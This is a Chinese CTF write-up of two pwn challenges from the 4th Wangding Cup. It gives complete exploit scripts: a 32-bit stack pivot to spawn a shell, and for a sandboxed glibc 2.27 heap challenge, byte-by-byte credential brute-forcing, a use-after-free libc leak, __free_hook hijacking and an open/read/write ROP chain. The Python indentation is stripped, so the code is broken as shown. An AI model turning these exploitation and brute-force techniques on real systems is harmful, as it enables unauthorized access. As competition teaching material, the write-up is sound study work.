青龙组:
青龙组这次出了四道pwn题,其中pwn2较为容易,简单的栈迁移,pwn4是libc为2.27的堆题,涉及到了rc4加密算法。其他两道较难,后续有wp了再复现
pwn2
32位栈迁移,给了后门地址和/bin/sh字符串

给了栈地址,把后门写在栈上,再栈迁移到后门地址即可
Python
from pwn import *
p = remote("0192d5ccd76f782bb148945eb222a559.3p85.dg03.ciihw.cn", 45243)
leave_ret = 0x08048555
ret = 0x080483fa
bin_sh = 0x804A038
system_addr = 0x80485e6
bss = 0x804a100
p.sendlineafter("username: ",b'admin')
p.sendlineafter("password: ",b'admin123')
p.recvuntil(b"0x")
leak = p.recvuntil(b'\n')
print(leak)
leak_str = leak.decode('ascii').strip()
byte_data = bytes.fromhex(leak_str).hex()
print(byte_data)
leak_int = int(byte_data, 16)
print(hex(leak_int))
p.recvuntil(b"msg:\n")
payload2 = (b"aaaa"+p32(system_addr)+p32(0)+p32(bin_sh)).ljust(0x50,b'\x00')+p32(leak_int) + p32(leave_ret)
p.sendline(payload2)
p.interactive()
pwn4
这题比较复杂,首先需要逐字节爆破出账号密码,然后就是一个基础的堆题(程序有uaf漏洞),这个题还有两大难关,首先就是rc4算法,也就是rc4(rc4(text))=text,然后要注意glibc2.26之后的堆有tcache机制,而且这题开了沙箱,不能直接getshell,不过我们可以通过setcontext方法利用orw来读取flag。
Python
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
#爆破用户名密码
username=b''
password=b''
flag=False
charset=r'0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
for _ in range(20):
for i in charset:
i=ord(i)
if(i==0x0a or i==0):
continue
p.recvuntil(b"Input your username:\n")
p.sendline(username+p8(i))
react=p.recvline().strip()
if(react==b'Invalid username length!'):
username+=p8(i)
break
if(react==b'Username correct!'):
username+=p8(i)
flag=True
break
print(username)
if(flag):
break
p.close()
p=process("./pwn")
flag=False
for _ in range(20):
for i in charset:
p.sendlineafter(b"username:\n",username)
if(i==0x0a or i==0):
continue
p.recvuntil(b"Input your password:\n")
p.sendline(password+i.encode())
react=p.recvline().strip()
if(react==b'Invalid password length!'):
password+=i.encode()
break
if(react==b'Password correct!'):
password+=i.encode()
flag=True
break
print(password)
if(flag):
break
print("\n===========================")
print("username: "+username.decode())
print("password: "+password.decode())
print("===========================\n")
#由于远程交互比较慢而且有时间限制,所以每次爆破一般,然后将爆破出的部分写到起始字节串,再次爆破
#username=b'4dm1n'
#password=b'985da4f8cb37zkj'
#菜单功能
def add(key, size, data):
p.sendlineafter(">", str(1))
p.sendlineafter("Input the key: ", str(key))
p.sendlineafter("Input the value size: ", str(size))
p.sendlineafter("Input the value: ", data)
def show(key):
p.sendlineafter(">", str(2))
p.sendlineafter("Input the key: ", str(key))
def delete(key):
p.sendlineafter(">", str(3))
p.sendlineafter("Input the key: ", str(key))
def edit(key, data):
p.sendlineafter(">", str(4))
p.sendlineafter("Input the key: ", str(key))
p.sendlineafter("Input the value: ", data)
#RC4加解密
def ksa(key, keysize):
"""Key Scheduling Algorithm (KSA)"""
state = list(range(256))
j = 0
for i in range(256):
j = (j + state[i] + key[i % keysize]) % 256
state[i], state[j] = state[j], state[i] # Swap
return state
def prga(state, data):
"""Pseudo-Random Generation Algorithm (PRGA)"""
i = j = 0
output = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + state[i]) % 256
state[i], state[j] = state[j], state[i] # Swap
# Generate keystream byte
k = state[(state[i] + state[j]) % 256]
output.append(byte ^ k) # XOR with the keystream
return bytes(output)
def decrypt(key, encrypted_data):
keysize = len(key)
# Convert key from string to bytes if needed
if isinstance(key, str):
key = key.encode('utf-8')
state = ksa(key, keysize)
decrypted_data = prga(state, encrypted_data)
return decrypted_data
#RC4算法的密钥
key = "s4cur1ty_p4ssw0rd"
for i in range(8):
add(i, 0xa8, decrypt(key, b'Yuq1Ng'))
add(8, 0x270, decrypt(key, b'Wz0beu'))
for i in range(8):
delete(7-i)#unsorted bin leak最后delete的堆块进入了unsorted bins,由于free之后未置零,show的时候会把fd指针泄露出来,此时fd和bk都指向main_area
show(0)
#gdb.attach(p)
p.recvuntil(b'[0,')
libc_base=u64(decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))-(0x7fdc98bebca0-0x7fdc98800000) #0x3EBCA0,不用刻意去找固定偏移,可以调试出来
print(hex(libc_base))
#gdb.attach(p)
edit(1, decrypt(key,p64(libc_base+libc.symbols['__free_hook'])))#通过修改tcachebin里面的堆块的fd指针为free_hook进而把free_hook申请出来,然后再修改为setcontext的gadgets
add(0, 0xa8, decrypt(key, b'Yuq1Ng'))#申请出来的是1号堆块
add(0, 0xa8, decrypt(key, p64(libc_base+libc.symbols['setcontext']+53)))#申请出来的是free_hook的堆块
show(2)
p.recvuntil(b'[2,')
heapaddr=u64(decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'\x00'))+(0x5644c5a52c70-0x5644c5a528b0) #0x3c0,泄露的是堆地址,然后计算出来的是8号堆块(最上面的堆块)的地址
print(hex(heapaddr))
#ROPgadget --binary libc.so.6 --only 'pop|ret'
pop_rdi_ret=libc_base+0x000000000002164f
pop_rsi_ret=libc_base+0x0000000000023a6a
pop_rdx_ret=libc_base+0x0000000000001b96
open=libc_base+libc.sym['open']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']
#在8号堆块里面伪造堆块,从而在调用setcontext时调用这个堆块
flagaddr=heapaddr+0xb0
payload=flat(
{ 0:pop_rdi_ret,
0x08:flagaddr,
0x10:pop_rsi_ret,
0x20:pop_rdx_ret,
0x30:open,
0x38:pop_rdi_ret,
0x40:3,
0x48:pop_rsi_ret,
0x50:heapaddr,
0x58:pop_rdx_ret,
0x60:0x50,
0x68:read,
0x70:pop_rdi_ret,
0x78:1,
0x80:pop_rsi_ret,
0x88:heapaddr,
0x90:write,
#0x78:b'./flag',#如果是flag直接写就行,但是这里的flag在flag.txt里面,八个字节写不下文件名
0xa0:heapaddr,
0xa8:pop_rdi_ret+1,
0xb0:b'./flag.t',
0xb8:b'xt'
},filler=b'\x00',length=0xc0
)
edit(8, payload)
#debug()
delete(8)
p.interactive()
后续可以录个视频讲一下这题(加深自己的理解)
声明:
本文采用
BY-NC-SA
协议进行授权,如无注明均为原创,转载请注明转自
CyFin | Blog
本文地址: 第四届网鼎杯pwn
本文地址: 第四届网鼎杯pwn